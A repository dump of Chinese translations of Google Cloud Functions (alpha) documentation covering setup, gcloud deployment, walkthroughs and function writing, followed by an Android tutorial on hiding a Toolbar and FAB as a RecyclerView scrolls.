Cloud Functions](https://cloud.google.com/functions/deploying) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) #部署 Cloud Functions ##在本地构建和测试 Cloud Functions 是在一个 Node.js 运行环境中管理的,因此你可以在你喜欢的开发工具在本地 Node.js 环境进行构建和测试你的函数。 ##部署 你可以从本地文件系统(借助[Google Storage bucket](https://cloud.google.com/storage/docs/))部署 Cloud Functions,也可以从你 Github 或 Bitbucket 源码仓库(借助 [Cloud Source Respositories](https://cloud.google.com/tools/cloud-repositories/docs/))部署 在部署时,Cloud Functions 会查找名叫 `index.js` 或者 `function.js` 的文件。如果你提供的 `package.js` 文件中包含 `"main"` 入口,Cloud Functions 就会寻找对应的指定文件而不是前面的这两个。 ``` 注意:首次部署函数时可能要花费几分钟,因为我们需要为你的函数提供底层支持。随后的部署就会很快了 ``` ###本地文件系统 本地文件系统部署方式是通过上传一个包含你函数的 ZIP 文件到 Cloud Storage Bucket 中,然后通过命令行工具把那个 bucket 包含在部署中。当使用命令行工具时,Cloud Functions 把包含函数的文件夹打包。另外,你也可以使用 Cloud Platform Console 的 Cloud Functions 界面上传你自己打包的 ZIP 文件。 ####创建一个 Cloud Storage Bucket 首先你需要一个 Cloud Storage Bucket 作为你函数代码的临时存储地点。 如果你还没有 Cloud Storage Bucket ,跟随下面的步骤创建一个: 1. 打开 [Cloud Storage Console](https://console.cloud.google.com/project/_/storage/browser?_ga=1.242691842.1008720489.1449201561) 2. 创建一个新的 bucket 3. 输入 bucket 名字(这里我们使用"cloud-functions"),然后根据你的喜好选择存储类型和位置。 4. 点击创建。 ####使用 gcloud 命令行部署 在你函数代码所在的文件夹使用 gcloud 命令行工具的 deploy 命令。命令格式如下: > $ gcloud alpha functions deploy --bucket 下表是命令中的参数说明: 参数|说明 ----|---- deploy| 执行的 Cloud Functions 命令,这里是 deploy 命令。 | 你部署的 Cloud Functions 的名称。名称中只能有小写字母,数字和连字符。除非你指定了 --entry-point 选项,否则你模块中必须导出和这个同名的函数。 --bucket | 函数源码要上传的 Cloud Storage bucket 的名字 |此函数的触发器(参考[Calling Cloud Functions](https://cloud.google.com/functions/calling)) 可选参数| --entry-point |作为入口的函数名,而不是 参数中使用的那个默认的。这个参数主要用在你源文件中导出的函数名和你部署时候 参数指定的函数名不一致时。 下面的例子部署了一个函数并为它部署了有一个 HTTP 触发器: > $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-http 下表是命令中的参数说明: 参数|说明 ----|---- deploy| 执行的 Cloud Functions 命令,这里是 deploy 命令。 helloworld| 部署的函数名,这里是 helloworld 。部署的 CLoud Functions 将会注册到 helloworld 名字下,而源代码中必须导出一个名字是 helloworld 的函数。 --bucket cloud-functions| 源代码上传到的 Cloud Storage 的bucket 名字,这里是 cloud-functions --trigger-http|函数触发器的类型,这里是 HTTP 请求(webhook) 下面的例子部署了同一个函数但是在不同的命名空间下: > $ gcloud alpha functions deploy hello --entry-point helloworld --bucket cloud-functions --trigger-http 下表是命令中的参数说明: 参数|说明 ----|---- deploy| 执行的 Cloud Functions 命令,这里是 deploy 命令。 hello | 部署的函数名,这里是 hello 。部署的函数会注册在 hello 名下。 --entry-point helloworld|部署的 Cloud Functions 使用一个名字为 helloworld 的导出函数 --bucket cloud-functions| 源代码上传到的 Cloud Storage bucket 名字,这里是 cloud-functions --trigger-http|函数触发器的类型,这里是 HTTP 请求(webhook) --entry-point 选项在你导出函数的名字和 Cloud Functions 命名规则不符合时很有用。 ###Cloud 仓库 如果你更喜欢使用像 Github 或者 Bitbucket 源码仓库来部署你的函数,那么你可以使用 [Google Cloud Source Repositories](https://cloud.google.com/tools/cloud-repositories/docs) 从你仓库的分支或者 tag 直接部署。 ####设置Cloud Source Repositories 1. 遵循 Cloud Source Respositories 的[开始](https://cloud.google.com/tools/cloud-repositories/docs/cloud-repositories-setup) 设置你的仓库。 2. 跟随这份[指导](https://cloud.google.com/tools/cloud-repositories/docs/cloud-repositories-hosted-repository) 来链接你的 Github 或 Bitbucket 分支。 一旦 Cloud Source Repositories 和你外部的仓库建立了联系,这些仓库就会保持同步,这样你就可以给你通常提交的那个仓库提交了。 ####通过 gcloud 命令行工具部署 使用 --source-url 参数从你的源码仓库部署函数: >$ gcloud alpha functions deploy helloworld \ --source-url https://source.developers.google.com/p/ 下表是命令中的参数说明: 参数|说明 ----|---- deploy| 执行的 Cloud Functions 命令,这里是 deploy 命令。 helloworld| 部署的函数名,这里是 helloworld 。部署的 CLoud Functions 将会注册到 helloworld 名字下,而源代码中必须导出一个名字是 helloworld 的函数。 --source-url https://source.developers.google.com/p/| 项目云仓库的 url 。格式应该是https://source.developers.google.com/p/ 最后跟的是你的 Cloud Project ID |此函数的触发器(参考[Calling Cloud Functions](https://cloud.google.com/functions/calling)) 可选参数| --source |源码树包含函数的路径。例如 "/functions" --source-branch |包含函数源码的分支名 --source-tag |包含函数源码的 tag 名 --source-revision |包含函数源码的 revision 名 ####使用 Cloud Console 部署 你也可以在 Cloud Platform Console 的 Cloud Functions 页面的创建和部署函数。 ================================================ FILE: TODO/GoogleCloudFunctions/getting-started.md ================================================ * 原文[Getting Started](https://cloud.google.com/functions/getting-started) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) #入门 使用 [Google Cloud Functions](https://cloud.google.com/functions/docs/) 的准备工作: 1. 要是你还没有 Google 账户的话[点击这里创建](https://accounts.google.com/SignUp) 2. 在你的 Google 账户中创建一个结算账户 为了使用 Google Cloud Function 你必须开启你计划使用的云工程的结算渠道,前提是你必须先有个可以结算的账户 如果你没有可以结算的账户,那么点击[这里](https://console.cloud.google.com/billing?_ga=1.11430708.1008720489.1449201561) 创建一个 3. 创建 Cloud Platform 工程 我们建议大家创建一个新的工程体验 Google Cloud Functions。当然你也可以使用已经创建的工程。点击[这里](https://console.cloud.google.com/project?_ga=1.203378321.1008720489.1449201561)创建新的项目。 4. 给你的项目开启结算 你要使用的云项目必须开启结算。可以在[这里](https://console.cloud.google.com/project?_ga=1.203378321.1008720489.1449201561) 开启结算。 5. 开启云函数 APIs 在开始使用 Cloud Functions 前,你需要确保 Cloud Functions API(以及所有的依赖 API ) 是开启的。你可以在[这里](https://console.cloud.google.com/flows/enableapi?apiid=cloudfunctions,container,compute_component,storage_component,pubsub,logging,source&pli=1&_ga=1.1977009.1008720489.1449201561)开启云函数 APIs 这将会开启下面的云平台 APIs * Google Cloud Functions * Google Container Engine * Google Compute Engine * Google Cloud Pub/Sub * Google Cloud Logging * Google Cloud Storage * Cloud Source Repositories 6. 安装 Google Cloud SDK 这份文档中的 walkthrough 例子就是使用的 gcloud 命令行工具可以在 Cloud SDK 中找到。安装和设置 Cloud SDK 的指导文档请参看 Cloud SDK 的[安装和快速开始](https://cloud.google.com/sdk) 接下来在你自己的机器上用下面的命令进行认证: > $ gcloud auth login 在 gcloud 中设置活跃项目,这个项目是应该是你之前选择的同一个项目: > $ gcloud config set project 参看 [Cloud Platform Console projects page](https://console.cloud.google.com/project?_ga=1.241528706.1008720489.1449201561) 来确定 或者通过 Google CLoud Platform Console 的控制台查找 ID ``` 注意:这里的 project ID 可能和 Cloud Platform Console 顶部显示的项目名字不一样 ``` 开启 alpha 特性访问 Cloud Functions: > $ gcloud components update alpha 执行 gcloud functions 帮助命令确定所有都就绪了(别忘了加上 alpha 参数): > $ gcloud alpha functions -h ================================================ FILE: TODO/GoogleCloudFunctions/quick-starts.md ================================================ * 原文[Quickstarts - Guides](https://cloud.google.com/functions/docs) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) ##什么是 Google 云函数(Google Cloud Function)? ``` Alpah 这是 Google Cloud Function 的 Alpha 版。这些特性可能会通过向后兼容的方式进行改变,并且不推荐大家把它用到生成环境。它适用任何生产层面的协议(SLA -- service-level agreement )或者弃用策略的附属物。[申请列入白名单以使用此特性](https://docs.google.com/forms/d/1WQNWPK3xdLnw4oXPT_AIVR9-gd6DLo5ZIucyxzSQ5fQ/viewform) ``` Google Cloud Functions 是一个轻量的,基于事件的,异步的计算解决方案,用于创建小而简单的函数。这些函数不需要管理服务器或者运行环境,只需要对云事件做出及时的响应即可。 Google Cloud Function 用 JavaScript 编写并在 Google Cloud Platform 管理的 Node.js 环境中运行。由 Google Cloud Storage 和 Google Cloud Pub/Sub 产生的事件异步触发 Cloud Function,你也可以通过 HTTP 触发并同步执行 ##云事件(Cloud Events)和触发器 云事件是指发生在你云环境中的事件。它们可能是数据库中数据的更改、存储系统中文件的添加,或者是创建了一个新的虚拟主机实例。 事件是不论你是否决定去响应都会发生的。创建一个事件的响应是通过触发器来实现的。触发器用来声明你对特定的一个或一组事件感兴趣。创建触发器可以捕获事件并响应。 ##云函数 Cloud Functions 是用来响应事件的一种机制。你的 Cloud Functions 中包含了用于响应触发器并处理事件的代码。 ================================================ FILE: TODO/GoogleCloudFunctions/walkthroughs.md ================================================ * 原文[Walkthroughs](https://cloud.google.com/functions/walkthroughs) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) ##演练 ###Cloud 发布/订阅 版 Hello World 这节将会演示一个基本的 "Hello World" 例子。这个例子主要用了以下组件: * Google Cloud Functions: 创建 Hello World 函数。 * Google Cloud Pub/Sub: 给函数发送消息。 * Google Cloud Logging: 查看 "hello world" 的消息。 ###第一步:创建函数 在你的本地文件系统中创建一个项目的位置: Linux/Mac >$ mkdir ~/gcf_hello_world >$ cd ~/gcf_hello_world Windows >$ mkdir %HOMEPATH%\gcf_hello_world >$ cd %HOMEPATH%\gcf_hello_world 新建一个 index.js 的文件(注意,如果你想用另一个名字来命名,记得在 package.json 中把它定义成主属性),并把下面的代码复制进去: index.js ```js exports.helloworld = function (context, data) { console.log('My GCF Function: ' + data.message); context.success(); }; ``` ###第二步:部署你的函数 使用一个名为 hello_world 的 Pub/Sub topic 部署函数 >$ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world --trigger-topic 参数表示要创建或使用 Cloud Pub/Sub 主题,在这个主题下你可以发布事件。 ``` 注意:首次部署函数时可能要花费几分钟,因为我们需要为你的函数提供底层支持。随后的部署就会很快了 ``` 使用 describe 命令可以随时产看函数的状态: >$ gcloud alpha functions describe helloworld 一旦函数部署成功,你将会看到状态变为 READY ,同时会有 Cloud Pub/Sub 主题的路径显示出来: ``` status: READY triggers: - pubsubTopic: projects//topics/hello_world ``` ###第三步:使用 call 命令测试你的函数 通过 call 命令可以在命令行下测试你的函数: > $ gcloud alpha functions call helloworld --data '{"message":"Hello World!"}' ###第四步:查看日志 上面的命令是没有返回值的,你需要查看日志才能看到 "Hello World!" 字符串: >$ gcloud alpha functions get-logs helloworld ###第五步:使用 Pub/Sub 发布一条消息 这个例子使用 Cloud Pub/Sub 作为触发器,因此你也可以通过发布 Pub/Sub 消息来触发函数: >$ gcloud alpha pubsub topics publish hello_world '{"message":"Hello World!"}' ##HTTP 调用 下面这个例子创建了一个可以通过 HTTP 请求触发的简单函数。 ###第一步:创建函数 在你本地系统创建工程: Linux/Mac >$ mkdir ~/gcf_hello_http >$ cd ~/gcf_hello_http Windows >$ mkdir %HOMEPATH%\gcf_hello_http >$ cd %HOMEPATH%\gcf_hello_http 新建一个 index.js 的文件(注意:如果你想用另一个名字来命名,记得在 package.json 中把它定义成主属性),并把下面的代码复制进去: index.js ```js rts.hellohttp = function (context, data) { // Use the success argument to send data back to the caller context.success('My GCF Function: ' + data.message); }; ``` ###第二步:部署你的函数 部署一个拥有 http 触发器的函数 > $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world ``` 注意:首次部署函数时可能要花费几分钟,因为我们需要为你的函数提供底层支持。随后的部署就会很快了 ``` 使用 describe 命令可以随时产看函数的状态: >$ gcloud alpha functions describe helloworld 一旦函数部署成功,你将会看到状态变为 READY ,同时会有一个 HTTP url: ``` status: READY triggers: - webTrigger: url: https://..cloudfunctions.net/hellohttp ``` 表示你部署函数的地区, 是你项目的 ID 。比如: >https://us-central1.my-project.cloudfunctions.net/hellohttp ###第三步:触发你的函数 可以用 crul 命令行工具测试你的函数: > $ curl -X POST https://..cloudfunctions.net/hellohttp \ --data '{"message":"Hello World!"}' 确保你的使用的是 HTTP POST 方法,因为 Cloud Functions 现在还不支持其它的 HTTP 方法。 ================================================ FILE: TODO/GoogleCloudFunctions/writing-cloud-functions.md ================================================ * 原文[Writing Cloud Functions](https://cloud.google.com/functions/writing) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) ##编写 Cloud Functions Google Cloud Functions 是由 JavaScript 编写并在 node.js 运行环境中执行。当创建 Cloud Functions 时,你的函数源码必须导出为 Node.js 的[模块](https://nodejs.org/api/modules.html) 导出函数最简单的形式: ```js exports.helloworld = function (context, data) { context.success('Hello World!'); }; ``` 或者你也可以通过函数名字和函数体作为键值对的方式导出: ```js module.exports = { helloworld: function (context, data) { context.success('Hello World!'); } }; ``` 你的模块可以导出任意多的函数,但它们必须是分开部署 ##函数参数 你定义的 Cloud Functions 必须收俩个参数:context 以及 data。 ###Context参数 context 函数包含执行环境的信息并且包括一个回调函数来标示你的函数运行完成 | Function | Aruments | Description | | ------------- |:-------------:| -----:| |context.success([message])|message (string)|当你函数成功完成时调用。可以给它传一个可选的 message 参数给 success 用于当函数同步执行结束时返回| |context.failure([message])|message (string)|当函数运行失败是调用。可以给它传一个可选的 message 参数给 failure 用于当函数同步执行结束时返回| |context.done([message])|message (string)|短路函数,当没有提供 message 参数时表现和 success 一样当提供 message 参数时表现和 failure 一样。| >注意: 当你的函数完成时一定要调用 success(),failure(),或者 done() 中的一个。否则你的函数可能继续运行直到被系统强制结束。 例子: ```js module.exports = { helloworld: function (context, data) { if (data.message !== undefined) { // Everything is ok console.log(data.message); context.success(); } else { // This is an error case context.failure('No message defined!'); } } }; ``` ###Data 参数 Data 参数持有事件相关的数据,这里的事件是指引起触发器执行函数的事件。data 对象的上下文依赖于函数注册的触发器(比如,[Cloud Pub/Sub topic](https://cloud.google.com/pubsub/docs) 或者 [Google Cloud Storage bucket](https://cloud.google.com/storage/docs/))。在自触发的函数中(比如手动给 Cloud Pub/Sub 发布事件) data 参数包含你发布的信息 ##函数依赖 Cloud Function 允许使用其它 Node.js 模块,以及其它的本地数据。在 Node.js 中依赖是由 [npm](https://docs.npmjs.com/) 管理的,在 package.json 中添加。你可以直接将全部依赖打包在你的函数包中,也可以在 package.json 中简单的声明一下,Cloud Function 会在你需要用到的时候自动下载它们。参考[npm 文档](https://docs.npmjs.com/files/package.json)了解更多关于 package.json 内容。 在这个例子中依赖是列举在 `package.json` 文件中的: ```js "dependencies": { "node-uuid": "^1.4.7" } ``` 在 Cloud Function 中使用依赖: ```js var uuid = require('node-uuid'); exports.uuid = function (context, data) { context.success(uuid.v4()); }; ``` ##记录和查看日志 你可以使用 console.log 或者 console.error 来从 Cloud Function 中输出日志 比如: ```js exports.helloworld = function (context, data) { console.log('I am a log entry!'); context.success(); }; ``` * console.log() 给出 INFO 类型的日志 * console.error() 给出 ERROR 类型的日志 * 内部系统消息是 DBUG 日志类别 Cloud Function 的日志可以通过 Cloud Logging 界面查看,或者通过命令行工具 gcloud 查看。 在命令行界面使用 get-logs 命令查看日志: > $ gcloud alpha functions get-logs 把函数名作为参数来查看特定函数的日志: > $ gcloud alpha functions get-logs 你甚至可以查看某次执行的日: > $ gcloud alpha functions get-logs --execution-id d3w-fPZQp9KC-0 通过 get-logs 的帮助信息来了解查看日志的所有选项: > $ gcloud alpha functions get-logs -h 另外,你也可在从云平台的命令行查看 [Cloud Function](https://console.cloud.google.com/project/_/logs?service=cloudfunctions.googleapis.com&_ga=1.6185779.1008720489.1449201561) 的日志 ================================================ FILE: TODO/How-to-hideshow-Toolbar-when-list-is-scroling.md ================================================ > * 原文链接 : [How to hide/show Toolbar when list is scroling (part 1) · Michał Z.](https://mzgreen.github.io/2015/02/15/How-to-hideshow-Toolbar-when-list-is-scroling(part1)/) * 原文作者 : [Michał Z.](https://twitter.com/mzmzgreen) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Mi&Jack](https://github.com/mijack) * 校对者 : [@laobie](https://github.com/laobie) * 状态 : 翻译完成 # 让 Toolbar 随着 RecyclerView 的滚动而显示/隐藏 这篇文章是过时的,你应该跳到[第三部分 3](https://mzgreen.github.io/2015/06/23/How-to-hideshow-Toolbar-when-list-is-scrolling%28part3%29/)。 在这篇文章中,我们将看到如何实现像Google+ 应用程序一样,当列表下滑时,Toolbar和FAB(包括其他的View)隐藏;当列表上滑时,Toolbar和FAB(包括其他的View)显示的效果;这种效果在[Material Design Checklist](http://android-developers.blogspot.com/2014/10/material-design-on-android-checklist.html)提到过. >“在一些场景下,当屏幕向上滚动时,app bar将会从屏幕上移除,给内容留出更多的空间。相反,当向上滚动时,app bar应再次显示。 我们的目标效果如下图所示: ![](https://mzgreen.github.io/images/1/demo_gif.gif) 我们将使用为我们的列表使用`RecyclerView`,当然,你也可以选择其他滚动控件(例如` ListView `),但它就意味着更多的编码。现在,我有两种具体的实现方法: 1. 给List设置padding 2. 给List添加一个headr 我只是决定执行第二个方案,因为我发现在如何给`RecyclerView`添加header这一问题上,有很多需要注意的地方,这是一个很好的机会去解决他们。 我也将简要描述第一个方案。 ###我们开始吧 我们要创建一个工程,并添加如下依赖: ``` dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) compile 'com.android.support:appcompat-v7:21.0.3' compile "com.android.support:recyclerview-v7:21.0.0" compile 'com.android.support:cardview-v7:21.0.3' } ``` 现在我们应该定义`style.xml`,我们的应用程序将使用Material的主题,但我们不使用` ActionBar `(取而代之是`Toolbar`): ``` ``` 接下来是创建`Activity`的布局: ``` ``` 这是一个简单的布局,只有`RecyclerView`、`Toolbar`以及作为FAB的`ImageButton`。我们需要把它们放在一个`FrameLayout`,因为这样可以达到`Toolbar`覆盖` RecyclerView`的效果。如果我们不这样做,当我们隐藏Toolbar的时候在列表的上方将会有一个空白的空间。 让我们来看看`MainActiviy`的代码吧: ``` public class MainActivity extends ActionBarActivity { private Toolbar mToolbar; private ImageButton mFabButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initToolbar(); mFabButton = (ImageButton) findViewById(R.id.fabButton); initRecyclerView(); } private void initToolbar() { mToolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(mToolbar); setTitle(getString(R.string.app_name)); mToolbar.setTitleTextColor(getResources().getColor(android.R.color.white)); } private void initRecyclerView() { RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView); recyclerView.setLayoutManager(new LinearLayoutManager(this)); RecyclerAdapter recyclerAdapter = new RecyclerAdapter(createItemList()); recyclerView.setAdapter(recyclerAdapter); } } ``` 正如你所看到的,这是一个十分简单的类,它只实现onCreate()方法,做了以下事情: 1. 初始化 `Toolbar` 2. 获取FAB 3. 初始化 `RecyclerView` 现在我们将为`RecylerView`创建adapter。在这之前,我们需要添加list item的布局: ``` ``` 对应的`ViewHolder`如下: ``` public class RecyclerItemViewHolder extends RecyclerView.ViewHolder { private final TextView mItemTextView; public RecyclerItemViewHolder(final View parent, TextView itemTextView) { super(parent); mItemTextView = itemTextView; } public static RecyclerItemViewHolder newInstance(View parent) { TextView itemTextView = (TextView) parent.findViewById(R.id.itemTextView); return new RecyclerItemViewHolder(parent, itemTextView); } public void setItemText(CharSequence text) { mItemTextView.setText(text); } } ``` 我们的列表用于呈现带有文本的卡片 - 简单吧! 现在,我们看一下`RecyclerAdapter`的代码: ``` public class RecyclerAdapter extends RecyclerView.Adapter { private List mItemList; public RecyclerAdapter(List itemList) { mItemList = itemList; } @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { final View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler_item, parent, false); return RecyclerItemViewHolder.newInstance(view); } @Override public void onBindViewHolder(RecyclerView.ViewHolder viewHolder, int position) { RecyclerItemViewHolder holder = (RecyclerItemViewHolder) viewHolder; String itemText = mItemList.get(position); holder.setItemText(itemText); } @Override public int getItemCount() { return mItemList == null ? 0 : mItemList.size(); } } ``` 这个是`RecyclerView.Adapter`的基本实现。并没有什么特殊的东西。如果,你想深入了解 `RecyclerView`,我建议你好好的阅读一下Mark Allison的[文章](https://blog.stylingandroid.com/material-part-4/) 我们写好以上代码,运行一下!截图如下: ![](https://mzgreen.github.io/images/1/clipped.png) 等一下,那是什么?你注意到没有?`Toolbar`把我们的列表挡住了。那是因为我们在`activity_main.xml`中设置`FrameLayout`为根布局。在开始的时候,我们提到过,这里有两种解决方案。第一张就是给`RecyclerView`设置paddingTop,其高度和`Toolbar`保持一致。但是还有一些细节需要注意,因为默认情况下,控件的绘制区域是在padding里面的,所以我们需要将其关闭,具体代码如下: 这样做,可以达到效果。但是,我想告诉你另一种实现方式-也许有点复杂,涉及增加了头的列表。 ###为`RecyclerView`添加Header 首先,我们需要对Adapter做一些更改: ``` public class RecyclerAdapter extends RecyclerView.Adapter { //added view types private static final int TYPE_HEADER = 2; private static final int TYPE_ITEM = 1; private List mItemList; public RecyclerAdapter(List itemList) { mItemList = itemList; } //modified creating viewholder, so it creates appropriate holder for a given viewType @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { Context context = parent.getContext(); if (viewType == TYPE_ITEM) { final View view = LayoutInflater.from(context).inflate(R.layout.recycler_item, parent, false); return RecyclerItemViewHolder.newInstance(view); } else if (viewType == TYPE_HEADER) { final View view = LayoutInflater.from(context).inflate(R.layout.recycler_header, parent, false); return new RecyclerHeaderViewHolder(view); } throw new RuntimeException("There is no type that matches the type " + viewType + " + make sure your using types correctly"); } //modifed ViewHolder binding so it binds a correct View for the Adapter @Override public void onBindViewHolder(RecyclerView.ViewHolder viewHolder, int position) { if (!isPositionHeader(position)) { RecyclerItemViewHolder holder = (RecyclerItemViewHolder) viewHolder; String itemText = mItemList.get(position - 1); // we are taking header in to account so all of our items are correctly positioned holder.setItemText(itemText); } } //our old getItemCount() public int getBasicItemCount() { return mItemList == null ? 0 : mItemList.size(); } //our new getItemCount() that includes header View @Override public int getItemCount() { return getBasicItemCount() + 1; // header } //added a method that returns viewType for a given position @Override public int getItemViewType(int position) { if (isPositionHeader(position)) { return TYPE_HEADER; } return TYPE_ITEM; } //added a method to check if given position is a header private boolean isPositionHeader(int position) { return position == 0; } } ``` 代码的具体思路如下: 1. 我们需要为`Recycler`展示的不同的Item定义不同的Item Type。` RecyclerView `是一个非常灵活的组件。当您希望为您的列表项目有不同的布局时,可以使用Item Type。而这正是我们想要做的,我们的第一个Item将是一个标题视图,不同于其他的项目(lines 3-4). 2. 我们需要告诉`Recycler`,返回哪个类型用于显示(lines 49-54). 3. 我们需要修改` onCreateViewHolder `和` onBindViewHolder `方法,根据type的不同TYPE_ITEM或者TYPE_HEAD,返回相应的item(lines 14-34). 4. 我们需要修改 `getItemCount()` - 返回的总数为数据集总数 + 1,因为我们还有一个Header(line 43-45)。现在,我们创建一个布局,并为其添加一个`ViewHolder`。 ``` ``` 布局很简单。重要的是要注意的是,它的高度需要是等于`Toolbar`的高度。这是` viewholder `,也很简单: public class RecyclerHeaderViewHolder extends RecyclerView.ViewHolder { public RecyclerHeaderViewHolder(View itemView) { super(itemView); } } ![](https://mzgreen.github.io/images/1/clipping_fixed.png) 好了,我们完成了!截图如上: 好多了,对吗?所以,综上所述,我们需要为RecyclerView增加了一个Header。它和Toolbar高度相同,它是一个空视图。toolbar刚好将其挡住,而其他的视图可以恰当好处的显示。接下来我们可以实现列表滚动时显示/隐藏视图。 ###在列表滚动的时候显示/隐藏View 为了实现这个效果,我们将为`RecyclerView`创建一个类` onscrolllistener`。 public abstract class HidingScrollListener extends RecyclerView.OnScrollListener { private static final int HIDE_THRESHOLD = 20; private int scrolledDistance = 0; private boolean controlsVisible = true; @Override public void onScrolled(RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) { onHide(); controlsVisible = false; scrolledDistance = 0; } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) { onShow(); controlsVisible = true; scrolledDistance = 0; } if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) { scrolledDistance += dy; } } public abstract void onHide(); public abstract void onShow(); } 真正起到作用的方法就是你现在看到的方法` onscrolled() `方法。它的参数——dx,dy是水平和垂直滚动的量。其实他们是每次滑动的变化量,是两个前后事件的差,不是总滚动距离。 基本的实现思路如下: - 我们计算总的滚动距离(每一次滚动的总和)。但是,我们只关心View隐藏时的向上滑动或者View显示时的向下滑动,因为这些是我们所关心的情况。 if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) { scrolledDistance += dy; } - 如果当滚动值超过某个阈值(你可以设置阈值,值越大,需要滚动滚动更多的距离,才能看到显示/隐藏View的效果)。我们根据滚动的方向来显示/隐藏View(DY>0意味着我们向下滚动,Dy<0意味着我们滚动起来)。 if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) { onHide(); controlsVisible = false; scrolledDistance = 0; } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) { onShow(); controlsVisible = true; scrolledDistance = 0; } - 事实上,我们不可能在Scroll Listener中显示/隐藏View,更为靠谱的做法是,将其抽象出来,调用show()/hide()方法,所以我们需要在回调中实现它们。 现在,我们需要给`RecyclerView`设置listener: private void initRecyclerView() { RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView); recyclerView.setLayoutManager(new LinearLayoutManager(this)); RecyclerAdapter recyclerAdapter = new RecyclerAdapter(createItemList()); recyclerView.setAdapter(recyclerAdapter); //setting up our OnScrollListener recyclerView.setOnScrollListener(new HidingScrollListener() { @Override public void onHide() { hideViews(); } @Override public void onShow() { showViews(); } }); } 添加下面的方法,可以以动画的形式隐藏或显示View: private void hideViews() { mToolbar.animate().translationY(-mToolbar.getHeight()).setInterpolator(new AccelerateInterpolator(2)); FrameLayout.LayoutParams lp = (FrameLayout.LayoutParams) mFabButton.getLayoutParams(); int fabBottomMargin = lp.bottomMargin; mFabButton.animate().translationY(mFabButton.getHeight()+fabBottomMargin).setInterpolator(new AccelerateInterpolator(2)).start(); } private void showViews() { mToolbar.animate().translationY(0).setInterpolator(new DecelerateInterpolator(2)); mFabButton.animate().translationY(0).setInterpolator(new DecelerateInterpolator(2)).start(); } 我们必须把margin作为隐藏Toolbar的参数,否则就不能完全隐藏Fab。 是时候看一下我们的应用程序的效果了!滚动屏幕截图 ![](https://mzgreen.github.io/images/1/broken_gif.gif) 它看起来挺不错的,但是有一些小细节需要调整 - 如果你处于列表的顶部,而滑动隐藏的阈值设置的很小,那么即使在列表为空的情况下,你也可以隐藏`ToolBar`.幸运的是,这个问题很容易解决。我们需要做的是检测列表的第一项是否是可见的,从而根据实际情况调整`ToolBar`的显示/隐藏。 @Override public void onScrolled(RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); int firstVisibleItem = ((LinearLayoutManager) recyclerView.getLayoutManager()).findFirstVisibleItemPosition(); //show views if first item is first visible position and views are hidden if (firstVisibleItem == 0) { if(!controlsVisible) { onShow(); controlsVisible = true; } } else { if (scrolledDistance > HIDE_THRESHOLD && controlsVisible) { onHide(); controlsVisible = false; scrolledDistance = 0; } else if (scrolledDistance < -HIDE_THRESHOLD && !controlsVisible) { onShow(); controlsVisible = true; scrolledDistance = 0; } } if((controlsVisible && dy>0) || (!controlsVisible && dy<0)) { scrolledDistance += dy; } } 更改以后,当第一项是可见的时候,Header不会消失。接着向下滑的时候,其他的效果还是和之前的一样再次运行我们的项目,实际效果如下: ![](https://mzgreen.github.io/images/1/demo_gif.gif) Yup! 现在看上去很不错哦! 这是我第一次写的博客,所以可能存在着一些错误,以后我会有所提高的。 如果你不想使用添加Head的方式,你也可以使用第二种给RecyclerView添加padding的方式。只需要加上padding,然后使用我们之前创建的 HidingScrollListener ,就可以实现了: ) 在下一个部分,我将告诉你如何做出像Google Play一样的效果。 如果你有什么疑问,你可以在下面的评论区评论。 ###代码 这篇文章提到的所有源代码,你都可以在[对应的Github仓库](https://github.com/mzgreen/HideOnScrollExample)上找到. 感谢[Mirek Stanek](https://twitter.com/froger_mcs)作为这篇文章的内测读者. - Michał Z. 如果你喜欢这篇文章,你可以[把他分享给你的关注者](https://twitter.com/intent/tweet?url=http://mzgreen.github.io/2015/02/15/How-to-hideshow-Toolbar-when-list-is-scroling(part1)/&text=How%20to%20hide/show%20Toolbar%20when%20list%20is%20scroling%20(part%201)&via=mzmzgreen) 或者在[Twitter](https://twitter.com/mzmzgreen)关注我! ================================================ FILE: TODO/Introducing-Swift 3.0.md ================================================ > * 原文链接: [Introducing Swift 3.0](http://dev.iachieved.it/iachievedit/) * 原文作者 : [ 